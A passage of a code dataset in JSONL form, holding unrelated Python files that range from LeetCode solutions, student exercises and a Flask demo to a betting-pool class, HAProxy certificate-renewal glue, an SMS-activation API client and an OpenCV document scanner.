= subprocess.Popen(terminal_command_flow_b, stdout=subprocess.PIPE)\nproc3 = subprocess.Popen(terminal_command_flow_c, stdout=subprocess.PIPE)\n\n# waiting enough time for iperfs to start\nprint('Waiting 10 seconds to iperf start properly...')\ntime.sleep(10)\n\n# while processes are still running...\nwhile proc1.poll() is None or proc2.poll() is None or proc3.poll() is None:\n time.sleep(1) # Checking iperf status every second\n\ntime_elapsed = time.time() - start_time\nprint('Time elapsed:', time_elapsed)\nprint('Done!\\n')\n","sub_path":"iperf3/iperf3_flows_sequence.py","file_name":"iperf3_flows_sequence.py","file_ext":"py","file_size_in_byte":4898,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"286180703","text":"# Python3, 32ms, 13.8MB\nclass Solution:\n\tdef firstMissingPositive(self, nums):\n\t\t# Trivial case\n\t\tif nums == []: return int(1)\n\t\t\n\t\t# step 1. Find the max interget\n\t\tMAX = len(nums)\n\n\t\t# step 2. Get rid of negative numbers\n\t\tfor num in nums:\n\t\t\tif num <= 0: nums.remove(num)\n\t\t\n\t\t# step 3. from 1 to l find the missing number\n\t\tfor i in range(1, MAX+2):\n\t\t\tif i not in nums: \n\t\t\t\treturn i\n\nif __name__ == '__main__':\n\ts = Solution()\n\tnums = [1,2,0]\n\tprint(s.firstMissingPositive(nums=nums))\n\n\t\n","sub_path":"leetcode/041__FirstMissingPositive.py","file_name":"041__FirstMissingPositive.py","file_ext":"py","file_size_in_byte":494,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"146521931","text":"\"\"\"List utility functions part 2.\"\"\"\n\n__author__ = \"730449914\"\n\nintegers: list[int] = []\nintegers_2: list[int] = [1, 2, 2, 0, -4]\nintegers_3: list[int] = [1, 2, 2, 0, -4]\nintegers_4: list[int] = [1, 2, 2, 0, -4]\n\n\ndef only_evens(a: list[int]) -> list[int]:\n \"\"\"Find all even numbers in a list.\"\"\"\n i: int = 0\n even_list: list[int] = []\n\n while i < len(a):\n if a[i] % 2 == 0:\n even_list.append(a[i])\n i += 1\n return even_list\n\n\ndef sub(b: list[int], c: int, d: int) -> list[int]:\n \"\"\"Return a subset of a list.\"\"\"\n i: int = 0\n sub_list: list[int] = []\n if c < 0:\n c = 0\n if d > len(b):\n d = len(b)\n if len(b) == 0 or c >= len(b) or d <= 0:\n return sub_list\n if c == c:\n \n while i < d - c:\n if c + i < d:\n sub_list.append(b[c + i])\n i += 1\n return sub_list\n\n\ndef concat(e: list[int], f: list[int]) -> list[int]:\n \"\"\"Merch two lists into a new list.\"\"\"\n i: int = 0\n i_2: int = 0\n concat_list: list[int] = []\n while i < len(e):\n if i < len(e):\n concat_list.append(e[i])\n i += 1\n\n while i_2 < len(f):\n if i_2 < len(f):\n concat_list.append(f[i_2])\n i_2 += 1\n return concat_list\n\n\nif __name__ == \"__main__\":\n print(only_evens(integers))\n\n\nif __name__ == \"__main__\":\n print(sub(integers_2, -1, 1))\n\n\nif __name__ == \"__main__\":\n print(concat(integers_3, integers_4))","sub_path":"exercises/ex05/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1469,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"648193230","text":"from aposta import Aposta\n\nclass Bolao():\n \"\"\" Classe que agregas as apostas realizadas em um bolao, verifica se houve vencedor e qual a premiacao \"\"\"\n \n def __init__(self, nome):\n \"\"\" Inicializa uma instancia do bolao, com duas listas vazias de aposta e vencedores \"\"\"\n self.nome = nome\n self.apostas = list([])\n self.vencedores = list([])\n self.premiacao = 0\n self.valor_disputado = 0 # novo valor gerado em cima de cada nova aposta incuida no bolao\n \n def __repr__(self):\n \"\"\" Exibe os dados detalhados do Bolao \"\"\"\n bolao_str = \"\\n{:*^80}\".format(self.nome) + \"\\n\\n\"\n bolao_str += \"{:=^80}\".format(\" Apostas Realizadas para \" + self.apostas[0].partida.sel_desaf.nome \n + \" X \" + self.apostas[0].partida.sel_visit.nome\n + \" - \" + self.apostas[0].partida.data_hora.strftime('%d/%m/%Y')\n + \" as \" + self.apostas[0].partida.data_hora.strftime('%H:%M') + \" \") + \"\\n\" \n for i, ap in enumerate(self.apostas): # precorre as apostas para formar uma tabela com os detalhes\n bolao_str += \"{%dª aposta} -> %s \\t %s %d x %d %s \\t R$ %.2f\" % (i+1, ap.apostador.nome, \n ap.partida.sel_desaf.nome,\n ap.qtd_gols_desaf,\n ap.qtd_gols_visit,\n ap.partida.sel_visit.nome,\n ap.valor_aposta) + \"\\n\"\n bolao_str += \"{:=^80}\".format(\" Valor total em disputa --> R$ \" + str(self.valor_disputado) + \" \") + \"\\n\" \n return bolao_str\n\n def adicionar_aposta(self, aposta):\n \"\"\" Adiciona aposta ao bolao \"\"\"\n if aposta.apostador.credito >= aposta.valor_aposta: # so permite que a aposta seja efetivada caso o credito do apostador seja maior ou igual ao valor da aposta\n self.apostas.append(aposta)\n self.valor_disputado += aposta.valor_aposta\n aposta.apostador.apostar_valor(aposta.valor_aposta) # reduz o valor do credito do apostador\n else:\n raise ValueError(\"Valor do credito >>\" + aposta.apostador.credito + \" << atual do jogador e inferior ao valor da aposta!\")\n\n def remover_aposta(self, aposta):\n \"\"\" Remove uma aposta do bolao \"\"\"\n self.apostas.remove(aposta)\n self.valor_disputado -= aposta.valor_aposta\n aposta.apostador.adicionar_credito(aposta.valor_aposta) # devolve o valor da aposta no credito do apostador\n \n def verificar_vencedores(self):\n \"\"\" Processa e define os vencedores ou nao do bolao \"\"\"\n for ap in self.apostas: # verifica quem acertou o bolao pelo resultado identico do placar \n if ap.partida.gols_desaf == ap.qtd_gols_desaf and ap.partida.gols_visit == ap.qtd_gols_visit:\n self.vencedores.append(ap.apostador)\n \n if not self.vencedores: # se ninguem tiver acetado o placar verifica quem ACERTOU A VITORIA DO DESAFIANTE\n for ap in self.apostas:\n if ap.partida.gols_desaf > ap.partida.gols_visit and ap.qtd_gols_desaf > ap.qtd_gols_visit:\n self.vencedores.append(ap.apostador)\n\n if not self.vencedores: # se ninguem tiver acetado o placar verifica quem ACERTOU A VITORIA DO VISITANTE\n for ap in self.apostas:\n if ap.partida.gols_desaf < ap.partida.gols_visit and ap.qtd_gols_desaf < ap.qtd_gols_visit:\n self.vencedores.append(ap.apostador)\n\n if not self.vencedores: # se ninguem tiver acetado o placar verifica quem ACERTOU O EMPATE ENTRE AS SELECOES\n for ap in self.apostas:\n if ap.partida.gols_desaf == ap.partida.gols_visit and ap.qtd_gols_desaf == ap.qtd_gols_visit:\n self.vencedores.append(ap.apostador)\n\n self.set_premiacao() # ao final calcula a premiacao\n\n def set_premiacao(self):\n \"\"\" Processa e define a premiacao ou nao do bolao, coso nao haja vencedor devolve o credito ao apstador \"\"\"\n if self.vencedores: # se a lista nao estiver vazia divede o valor disputado pela quantidade de vencedores seta a premiacao\n self.premiacao = (self.valor_disputado/len(self.vencedores))\n for ven in self.vencedores: # distribui a premiacao para os vencedores\n ven.premiacao_ganha += self.premiacao \n else: # se nao houver vencedores devolve o credito para o apostador\n for ap in self.apostas: \n ap.apostador.adicionar_credito(ap.valor_aposta)\n ","sub_path":"bolaopy/bolao.py","file_name":"bolao.py","file_ext":"py","file_size_in_byte":4964,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"385809263","text":"class SentimentPlaceAnalytics:\n\n def __init__(self, source_db, view_path, results_db):\n self.view_path = view_path\n self.source_db = source_db\n self.results_db = results_db\n\n def plot(self):\n pass\n\n def run(self):\n view = self.source_db.iterview(name=self.view_path, batch=10000)\n sentiment_cor_list = []\n for each in view:\n temp_dict = {}\n\n if 'coordinates' in each.value.keys():\n temp_dict['coordinates'] = each.value['coordinates']['coordinates']\n temp_dict['sentiment'] = each.value['sentiment']\n sentiment_cor_list.append(temp_dict)\n elif 'geo' in each.value.keys():\n temp_dict['coordinates'] = each.value['geo']['coordinates'][::-1]\n temp_dict['sentiment'] = each.value['sentiment']\n sentiment_cor_list.append(temp_dict)\n elif 'place' in each.value.keys():\n if 'coordinates' in each.value['place']['bounding_box'].keys():\n x_list = [x[0] for x in each.value['place']['bounding_box']['coordinates'][0]]\n y_list = [x[1] for x in each.value['place']['bounding_box']['coordinates'][0]]\n temp_dict['coordinates'] = [sum(x_list) / float(len(x_list)), sum(y_list) / float(len(y_list))]\n temp_dict['sentiment'] = each.value['sentiment']\n sentiment_cor_list.append(temp_dict)\n\n record = {'_id': \"sentiment_distribution\", \"data\": sentiment_cor_list}\n self.results_db.save(record)\n\n","sub_path":"analytics/sentiment_distribution.py","file_name":"sentiment_distribution.py","file_ext":"py","file_size_in_byte":1593,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"81239091","text":"class Solution(object):\n def rot(self,A,ind):\n return(A[ind+1:len(A)]+A[0:ind+1]) \n def rotateString(self, A, B):\n \"\"\"\n :type A: str\n :type B: str\n :rtype: bool\n \"\"\"\n if A==B:\n return True\n for key,val in enumerate(A):\n C=self.rot(A,key)\n print(A)\n if C==B:\n return True\n return False\n","sub_path":"question796_rotateString.py","file_name":"question796_rotateString.py","file_ext":"py","file_size_in_byte":416,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"353243870","text":"import sys\nimport math\nimport re\nimport heapq\nfrom typing import *\n\nsys.setrecursionlimit(10**6)\ninput = sys.stdin.readline\n\n# 프림 알고리즘\n\nN = int(input())\nstarts: List[List[float]] = [\n list(map(float, input().split())) for _ in range(N)]\ngraph = [[] for _ in range(N)]\ncheck = [False for _ in range(N)]\n\n\ndef dist(p1, p2):\n return math.sqrt((p1[0] - p2[0])**2 + (p1[1] - p2[1])**2)\n\n\nfor i in range(N):\n for j in range(N):\n if i == j:\n continue\n graph[i].append((j, dist(starts[i], starts[j])))\n\n# print(graph)\npq = [(0, 0)] # 가중치,다음 노드 넘버\nheapq.heapify(pq)\nans = 0\nwhile pq:\n w, now = heapq.heappop(pq) # 힙큐에서 꺼내온다.\n if check[now]:\n continue\n # 해당 노드를 방문해서 가중치 인정 및 방문 체크\n ans += w\n check[now] = True\n for nxt, nxt_w in graph[now]:\n if not check[nxt]:\n heapq.heappush(pq, (nxt_w, nxt))\nprint(ans)\n","sub_path":"BOJ_Gold/4386_2.py","file_name":"4386_2.py","file_ext":"py","file_size_in_byte":960,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"467540632","text":"# Tu pišite svoje funkcije:\n\ndef koordinate(ime, kraji):\n for ime_k, x, y in kraji:\n if ime_k == ime:\n return (x, y)\n\ndef razdalja_koordinat(x1, y1, x2, y2):\n return ((x2 - x1)**2 + (y2 - y1)**2)**(1/2)\n\n\ndef razdalja(ime1, ime2, kraji):\n x1, y1 = koordinate(ime1, kraji)\n x2, y2 = koordinate(ime2, kraji)\n return razdalja_koordinat(x1, y1, x2, y2)\n\ndef v_dometu(ime, domet, kraji):\n xk, yk = koordinate(ime, kraji)\n tmp = []\n for ime_k, x, y in kraji:\n if ime_k == ime: continue\n elif razdalja_koordinat(x, y, xk, yk) - domet <= 0:\n tmp.append(ime_k)\n return tmp\n\ndef najbolj_oddaljeni(ime, imena, kraji):\n max = 0\n najbolj_oddaljen = \"\"\n for ime2 in imena:\n if max < razdalja(ime, ime2, kraji):\n max = razdalja(ime, ime2, kraji)\n najbolj_oddaljen = ime2\n return najbolj_oddaljen\n\ndef zalijemo(ime, domet, kraji):\n max_razdalja = 0\n ime_max = \"\"\n for imek, x, y in kraji:\n if (razdalja(ime, imek, kraji) - domet <= 0) and (max_razdalja < razdalja(ime, imek, kraji)):\n max_razdalja = razdalja(ime, imek, kraji)\n ime_max = imek\n return ime_max\n\ndef skupno_zalivanje(ime1,ime2, domet, kraji):\n tmp = []\n for ime_k, x, y in kraji:\n if (razdalja(ime1, ime_k, kraji ) - domet <=0) and (razdalja(ime2, ime_k, kraji ) - domet <=0):\n tmp.append(ime_k)\n return tmp\n\n\ndef presek(s1, s2):\n skupno = []\n for element_s1 in s1:\n for element_s2 in s2:\n if element_s1 == element_s2:\n skupno.append(element_s2)\n return skupno\n\n\n","sub_path":"code/batch-1/vse-naloge-brez-testov/DN4-M-85.py","file_name":"DN4-M-85.py","file_ext":"py","file_size_in_byte":1631,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"580068404","text":"from flask import Flask\napp = Flask(__name__)\n\n\n@app.route(\"/hello\")\ndef say_hi():\n return \"Hello World Agaiiiiiiin!\"\n\n\n@app.route(\"/hello/\")\ndef hi_person(name):\n html = \"\"\"\n

    \n Hello {}!\n

    \n

    \n Here's a picture of a kitten. Awww...\n

    \n \n \"\"\"\n return html.format(name.title())\n\n@app.route(\"/jedi//\")\ndef jedi_name(name,lastname):\n return \"Hello Jedi {}\".format(lastname[:3]+name[:2])\n\n#return (lastname[:3]+name[:2])\n#return \"Hello {}\".format(name)\n#return \"Hello {}\".format(name.title())\n#return \"Hello B\"\n\n\n\"\"\"\n@app.route(\"/jedi\")\ndef jedi_name():\n return \"Hello Jedizzz!\"\n\"\"\"\n\nif __name__ == \"__main__\":\n app.run(host=\"0.0.0.0\", port=8080)\n\n #source env/bin/activate #(pip install -r requirements.txt)\n \n #/projects/flask_hello_world/env/bin/activate\n #(removed uncecessary things from requirements.txt)\n #which gunicorn - where gunicorn executable is.\n \n #My app on Heroku: https://thawing-island-3600.herokuapp.com/hello\n \n #######\n #after testing on foreman, push it to Heroku (prod env)\n #git add *, git commit -M \"xn\n #heroku login, shouldn't need heroku create\n \n \n #######\n #history | grep foreman \n #!473 e.g.\n \n \n #####\n #.bashrc file","sub_path":"hello_world.py","file_name":"hello_world.py","file_ext":"py","file_size_in_byte":1329,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"106102156","text":"# Import the os csv module\nimport os\nimport csv\n\n# Create file path across operating systems\ncsvpath = os.path.join('..', 'Resources', \"budget_data.csv\")\n\n# Open and reading csv file\nwith open(csvpath, newline='') as csvfile:\n # CSV reader specifies delimiter and variable that holds contents\n csvreader = csv.reader(csvfile, delimiter=',')\n\n # Read the header row first\n csv_header = next(csvreader)\n\n # Lists and variables to store data\n Date = []\n Revenue = []\n Max_profits = 0\n Min_profits = 0\n\n # Read each row of data after the header\n for row in csvreader:\n # Add Date\n Date.append(row[0])\n\n # Add Revenue\n Revenue.append(int(row[1]))\n\n # Determine the Total_Months of Date\n Total_Months = len(Date)\n\n # Determine the Total amount of Revenue\n Total_revenue = sum(Revenue)\n\n # Determine the Average of Revenue\n Average = round(sum(Revenue) / len(Revenue), 2)\n\n # For loop to determine the Maximal Revenue\n for i in range(0, len(Revenue)):\n if Revenue[i] > Max_profits:\n Max_profits = Revenue[i]\n else:\n Max_profits\n\n # For loop to determine the Mininal Revenue\n for n in range(0, len(Revenue)):\n if Revenue[n] < Min_profits:\n Min_profits = Revenue[n]\n else:\n Min_profits\n\n # Show the analyzed results\n print(\"Financial Analysis\")\n print(\"---------------------------\")\n print(\"Total Months: \" + str(Total_Months))\n print(\"Total: $\" + str(Total_revenue))\n print(\"Average Change: $\"+str(Average))\n print(\"Greatest Increase in Profits: \"+Date[Revenue.index(Max_profits)]+ ' ' \"(\"+\"$\"+str(Max_profits)+\")\")\n print(\"Greatest Decrease in Profits: \"+Date[Revenue.index(Min_profits)]+ ' ' \"(\"+\"$\"+str(Min_profits)+\")\")","sub_path":"03-python-challenge/PyBank/PyBank.py","file_name":"PyBank.py","file_ext":"py","file_size_in_byte":1810,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"391624085","text":"import os\nimport subprocess\nimport sys\nimport time\nimport urllib2\nimport os.path\n\ndomains = os.environ['DOMAINS']\nstaging = len(os.environ.get('STAGING', '').strip()) > 0\nemail = os.environ['EMAIL']\n\npath_fullchain = '/etc/letsencrypt/live/kelda/fullchain.pem'\npath_privkey = '/etc/letsencrypt/live/kelda/privkey.pem'\npath_combined = '/etc/letsencrypt/live/kelda/combined.pem'\n\ndef start_haproxy(prev_pid=None):\n \"\"\"\n Starts an HAProxy process and returns the PID of the new process.\n\n If 'prev_pid' is given, directs the new HAProxy process to seamlessly take over\n requests from the previous process.\n \"\"\"\n cmd = ['haproxy', '-D']\n if prev_pid is not None:\n cmd += ['-sf', str(prev_pid)]\n cmd += ['--', '/usr/local/etc/haproxy/haproxy.cfg']\n proc = subprocess.Popen(cmd)\n print('Started HAProxy (pid = %d)' % proc.pid)\n return proc.pid\n\n\nprint('HAProxy ACME Glue')\nif staging:\n print('**STAGING**')\nprint('With domains: ' + domains)\nprint('With email address: ' + email)\nprint('')\n\nhaproxy_pid = None\nwhile True:\n print('Attempting to acquire/renew certificate...')\n attempt_time = time.time()\n\n command = ['certbot', 'certonly', '--noninteractive']\n command += ['--agree-tos', '--email', email] # Register a Let's Encrypt account.\n if staging:\n command += ['--staging'] # Use the staging server.\n command += ['-v'] # Be more verbose.\n command += ['--cert-name', 'kelda']\n command += ['--expand'] # Add new domains to the certificate automatically.\n command += ['--standalone', '--preferred-challenges', 'http-01']\n if haproxy_pid is not None:\n command += ['--http-01-port', '8080']\n command += ['--domains', domains]\n\n result = subprocess.call(command)\n if result != 0:\n print('Certbot returned error: %d' % result)\n print('Trying again in 60 seconds.')\n time.sleep(60)\n continue\n\n exists_fullchain = os.path.isfile(path_fullchain)\n if not exists_fullchain:\n print('Error retrieving certificate.')\n print('Trying again in 60 seconds.')\n time.sleep(60)\n continue\n\n # Only reload the certificate if it has changed.\n if os.path.getmtime(path_fullchain) > attempt_time:\n print('Certificate updated -- reloading HAProxy.')\n\n # The fullchain PEM and privkey PEM must be combined into one file.\n with open(path_combined, 'w') as combined:\n for filename in (path_fullchain, path_privkey):\n with open(filename) as infile:\n combined.write(infile.read())\n\n haproxy_pid = start_haproxy(haproxy_pid)\n\n print('Sleeping for 24 hours.')\n time.sleep(24 * 60 * 60)\n","sub_path":"docker/glue.py","file_name":"glue.py","file_ext":"py","file_size_in_byte":2701,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"50490377","text":"import enum\nimport os\nimport shutil\n\nfrom ..cmd import run_docker_command\nfrom ..docker import docker_dir\n\n\nclass CompileVerdict(enum.Enum):\n OK = 'OK'\n CE = 'Compilation error'\n\n\nclass Compiler:\n\n COMPILERS = []\n\n def __init__(self, extension, name, command):\n self.extension = extension.lower()\n self.name = name\n self.command = command\n self.COMPILERS.append(self)\n\n def __repr__(self):\n return ''.format(repr(self.name))\n\n def __str__(self):\n return repr(self)\n\n @classmethod\n def get_by_extension(cls, extension):\n for compiler in cls.COMPILERS:\n if compiler.extension == extension.lower():\n return compiler\n return None\n\n def _get_command(self, filename):\n return [token % {'filename': filename} for token in self.command]\n\n def check(self, path):\n filename = os.path.basename(path)\n with docker_dir() as dir_path:\n shutil.copy(path, os.path.join(dir_path, filename))\n code, _, _ = run_docker_command(self._get_command(filename))\n return CompileVerdict.OK if code == 0 else CompileVerdict.CE\n\n\nfpc = Compiler(\n 'pas',\n 'Free Pascal 3.0',\n ['fpc', '%(filename)s']\n)\ncpp = Compiler(\n 'cpp',\n 'GNU C++ 4.8.4',\n ['g++', '%(filename)s']\n)\npython3 = Compiler(\n 'py',\n 'Python 3.4.3',\n ['python3', '-m', 'py_compile', '%(filename)s']\n)\n","sub_path":"project/models/compiler.py","file_name":"compiler.py","file_ext":"py","file_size_in_byte":1442,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"281123680","text":"from collections import namedtuple\r\nimport requests\r\nimport json\r\n\r\n\r\nclass BadKeyError(Exception):\r\n def __init__(self):\r\n message = 'Неверный API-ключ'\r\n super().__init__(message)\r\n\r\n\r\nclass SQLError(Exception):\r\n def __init__(self):\r\n message = 'Ошибка SQL-сервера'\r\n super().__init__(message)\r\n\r\n\r\nclass NoNumbersError(Exception):\r\n def __init__(self):\r\n message = 'Нет номеров'\r\n super().__init__(message)\r\n\r\n\r\nclass NoBalanceError(Exception):\r\n def __init__(self):\r\n message = 'Закончился баланс'\r\n super().__init__(message)\r\n\r\n\r\nclass NoActivationError(Exception):\r\n def __init__(self):\r\n message = 'ID активации не существует'\r\n super().__init__(message)\r\n\r\n\r\nclass BadServiceError(Exception):\r\n def __init__(self):\r\n message = 'Некоректное наименование сервиса'\r\n super().__init__(message)\r\n\r\n\r\nclass BadStatusError(Exception):\r\n def __init__(self):\r\n message = 'Некоректный статус'\r\n super().__init__(message)\r\n\r\n\r\nclass BadActionError(Exception):\r\n def __init__(self):\r\n message = 'Некоректное действие'\r\n super().__init__(message)\r\n\r\n\r\nerrors = {\r\n 'BAD_KEY': BadKeyError,\r\n 'ERROR_SQL': SQLError,\r\n 'NO_NUMBERS': NoNumbersError,\r\n 'NO_BALANCE': NoBalanceError,\r\n 'NO_ACTIVATION': NoActivationError,\r\n 'BAD_SERVICE': BadServiceError,\r\n 'BAD_STATUS': BadStatusError,\r\n 'BAD_ACTION': BadActionError,\r\n}\r\n\r\n\r\ndef send_api_request(self, params, jsons):\r\n response = requests.get(self.api_domain, params=params)\r\n if response.text in errors:\r\n raise errors[response.text]\r\n\r\n if not jsons:\r\n return response.text\r\n return json.loads(response.text)\r\n\r\n\r\nclass CheapSMS:\r\n def __init__(self, api_key, ref=None):\r\n self.api_key = api_key\r\n self.api_domain = 'http://cheapsms.ru/stubs/handler_api.php'\r\n self.ref = ref\r\n\r\n def set_status(self, status, id):\r\n data = {'action': 'setStatus', 'api_key': self.api_key, 'id': id, 'status': status}\r\n response = send_api_request(self, data, jsons=False)\r\n return response\r\n\r\n def get_numbers_status(self):\r\n data = {'action': 'getNumbersStatus', 'api_key': self.api_key}\r\n response = send_api_request(self, data, jsons=True)\r\n return response\r\n\r\n def get_balance(self):\r\n data = {'action': 'getBalance', 'api_key': self.api_key}\r\n response = send_api_request(self, data, jsons=False)\r\n return response.replace('ACCESS_BALANCE:', '')\r\n\r\n def get_number(self, service):\r\n data = {'action': 'getNumber', 'api_key': self.api_key, 'service': service}\r\n if self.ref is not None:\r\n data['ref'] = self.ref\r\n response = send_api_request(self, data, jsons=False)\r\n response = response.split(':')\r\n return Operation(self.api_key, response[1], service, response[2])\r\n\r\n def get_status(self, id):\r\n data = {'action': 'getStatus', 'api_key': self.api_key, 'id': id}\r\n response = send_api_request(self, data, jsons=False)\r\n if len(response.split(':')) > 1:\r\n code = response.split(':')[1]\r\n status = response.split(':')[0]\r\n else:\r\n code = None\r\n status = response\r\n return Status(status, code)\r\n\r\n\r\nStatus = namedtuple('Status', ['status', 'code'])\r\n\r\n\r\nclass Operation:\r\n def __init__(self, api_key, id, service, number):\r\n self.api_domain = 'http://cheapsms.ru/stubs/handler_api.php'\r\n self.api_key = api_key\r\n self.id = id\r\n self.service = service\r\n self.number = number\r\n\r\n def check_code(self):\r\n status = self.get_status()\r\n if status.code:\r\n return status.code\r\n else:\r\n return None\r\n\r\n def set_status(self, status):\r\n data = {'action': 'setStatus', 'api_key': self.api_key, 'id': self.id, 'status': status}\r\n response = send_api_request(self, data, jsons=False)\r\n return response\r\n\r\n def get_status(self):\r\n data = {'action': 'getStatus', 'api_key': self.api_key, 'id': self.id}\r\n response = send_api_request(self, data, jsons=False)\r\n if len(response.split(':')) > 1:\r\n code = response.split(':')[1]\r\n status = response.split(':')[0]\r\n else:\r\n code = None\r\n status = response\r\n return Status(status, code)\r\n","sub_path":"cheapsms.py","file_name":"cheapsms.py","file_ext":"py","file_size_in_byte":4610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"4696606","text":"from base64 import b64decode as builtin_decode\nfrom base64 import b64encode as builtin_encode\nfrom sys import version_info\n\nfrom six import binary_type, text_type\n\n\n__all__ = ['b64decode', 'b64encode']\n\n\nif version_info < (3, 0):\n from binascii import Error as BinAsciiError\n from re import match as re_match\n from string import maketrans\n\n_bytes_types = (binary_type, bytearray) # Types acceptable as binary data\n\n\ndef _get_bytes(s):\n if isinstance(s, text_type):\n try:\n return s.encode('ascii')\n except UnicodeEncodeError:\n raise ValueError('string argument should contain only ASCII '\n 'characters')\n if isinstance(s, _bytes_types):\n return s\n try:\n return memoryview(s).tobytes()\n except TypeError:\n raise TypeError('argument should be a bytes-like object or ASCII '\n 'string, not %r' % s.__class__.__name__)\n\n\ndef b64decode(s, altchars=None, validate=False):\n \"\"\"Decode bytes encoded with the standard Base64 alphabet.\n\n Argument ``s`` is a :term:`bytes-like object` or ASCII string to\n decode.\n\n Optional ``altchars`` must be a :term:`bytes-like object` or ASCII\n string of length 2 which specifies the alternative alphabet used instead\n of the '+' and '/' characters.\n\n If ``validate`` is ``False`` (the default), characters that are neither in\n the normal base-64 alphabet nor the alternative alphabet are discarded\n prior to the padding check.\n If ``validate`` is ``True``, these non-alphabet characters in the input\n result in a :exc:`binascii.Error`.\n\n The result is returned as a :class:`bytes` object.\n\n A :exc:`binascii.Error` is raised if ``s`` is incorrectly padded.\n \"\"\"\n if version_info < (3, 0):\n s = _get_bytes(s)\n if altchars is not None:\n altchars = _get_bytes(altchars)\n assert len(altchars) == 2, repr(altchars)\n s = s.translate(maketrans(altchars, b'+/'))\n if validate and not re_match(b'^[A-Za-z0-9+/]*={0,2}$', s):\n raise BinAsciiError('Non-base64 digit found')\n try:\n return builtin_decode(s, altchars)\n except TypeError as e:\n raise BinAsciiError(str(e))\n return builtin_decode(s, altchars, validate)\n\n\ndef b64encode(s, altchars=None):\n \"\"\"Encode bytes using the standard Base64 alphabet.\n\n Argument ``s`` is a :term:`bytes-like object` to encode.\n\n Optional ``altchars`` must be a byte string of length 2 which specifies\n an alternative alphabet for the '+' and '/' characters. This allows an\n application to e.g. generate url or filesystem safe Base64 strings.\n\n The result is returned as a :class:`bytes` object.\n \"\"\"\n if altchars is not None:\n altchars = _get_bytes(altchars)\n assert len(altchars) == 2, repr(altchars)\n if version_info < (3, 0):\n if isinstance(s, text_type):\n raise TypeError('a bytes-like object is required, not \\'' +\n type(s).__name__ + '\\'')\n return builtin_encode(s, altchars)\n","sub_path":"venv/lib/python2.7/site-packages/pybase64/_fallback.py","file_name":"_fallback.py","file_ext":"py","file_size_in_byte":3101,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"339619008","text":"import asyncio\nfrom threading import Thread\n\n\nclass IOThread(Thread):\n def __init__(self):\n super().__init__()\n self.loop = None\n self._queue = []\n\n def run(self):\n self.loop = asyncio.new_event_loop()\n asyncio.set_event_loop(self.loop)\n\n # schedule any queued tasks\n for coro in self._queue:\n self.create_task(coro)\n self._queue = []\n\n # run event loop\n self.loop.run_forever()\n\n def create_task(self, coro):\n # if the loop is not ready yet, queue it\n if self.loop is None:\n self._queue.append(coro)\n return\n\n future = asyncio.run_coroutine_threadsafe(coro, loop=self.loop)\n return asyncio.wrap_future(future)\n","sub_path":"cowait/worker/io_thread.py","file_name":"io_thread.py","file_ext":"py","file_size_in_byte":751,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"332281436","text":"from transform import four_point_transform\nfrom resize import resize\nfrom skimage.filters import threshold_adaptive\nimport numpy as np\nimport argparse\nimport cv2\n\n\n#ARGUMENT PARSER\nap = argparse.ArgumentParser()\nap.add_argument(\"-i\", \"--image\", required = True,\n\thelp = \"Path to the image to be scanned\")\nargs = vars(ap.parse_args())\n\n#upload the image\nimage = cv2.imread(args[\"image\"])\n\n#properties of the image\norig = image.copy()\noriginal_height = image.shape[0]\nwidth = image.shape[1]\n#ratio of heights (for later)\nratio = original_height / 500.0\n\n\n#resize function now gives back an array\n#resized in proportion to 500px height for convenience\nimage = resize(image, height = 500)\n\n#cv2.imshow(\"resized\", image)\n#cv2.waitKey(0)\n#cv2.destroyAllWindows()\n\n\n#FIND EDGES\ngray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n#remove noise in the image with a 5x5 Gaussian filter\ngray = cv2.GaussianBlur(gray, (5, 5), 0)\nedged = cv2.Canny(gray, 75, 200)\nedged_copy = edged.copy()\nprint(\"STEP 1: Edge detection\")\n\n#cv2.imshow(\"Edged\", edged)\n#cv2.waitKey(0)\n#cv2.destroyAllWindows()\n\n\n#FINDING CONTOURS\n#NEW OUTPUTS FOR OPENCV 3.0.0;\n(_, cnts, _) = cv2.findContours(edged.copy(), cv2.RETR_LIST, cv2.CHAIN_APPROX_SIMPLE)\ncnts = sorted(cnts, key = cv2.contourArea, reverse = True)[:5]\nfor c in cnts:\n\tperi = cv2.arcLength(c, True)\n\tapprox = cv2.approxPolyDP(c, 0.02 *peri, True)\n\tif len(approx) == 4:\n\t\tscreenCnt = approx\n\t\tbreak\nprint(\"STEP 2: Find Contours of Paper\")\ncv2.drawContours(image, [screenCnt], -1, (0, 255, 0), 2)\n\n#cv2.imshow(\"Outline\", image)\n#cv2.waitKey(0)\n#cv2.destroyAllWindows()\n\nwarped = four_point_transform(orig, screenCnt.reshape(4, 2) * ratio)\nwarped = cv2.cvtColor(warped, cv2.COLOR_BGR2GRAY)\nwarped = threshold_adaptive(warped, 250, offset = 10)\nwarped = warped.astype(\"uint8\") * 255\n\nprint(\"STEP 3: Apply perspective transform\")\ncv2.imshow(\"Original\", resize(orig, width = width))\ncv2.imshow(\"Scanned\", resize(warped, width = 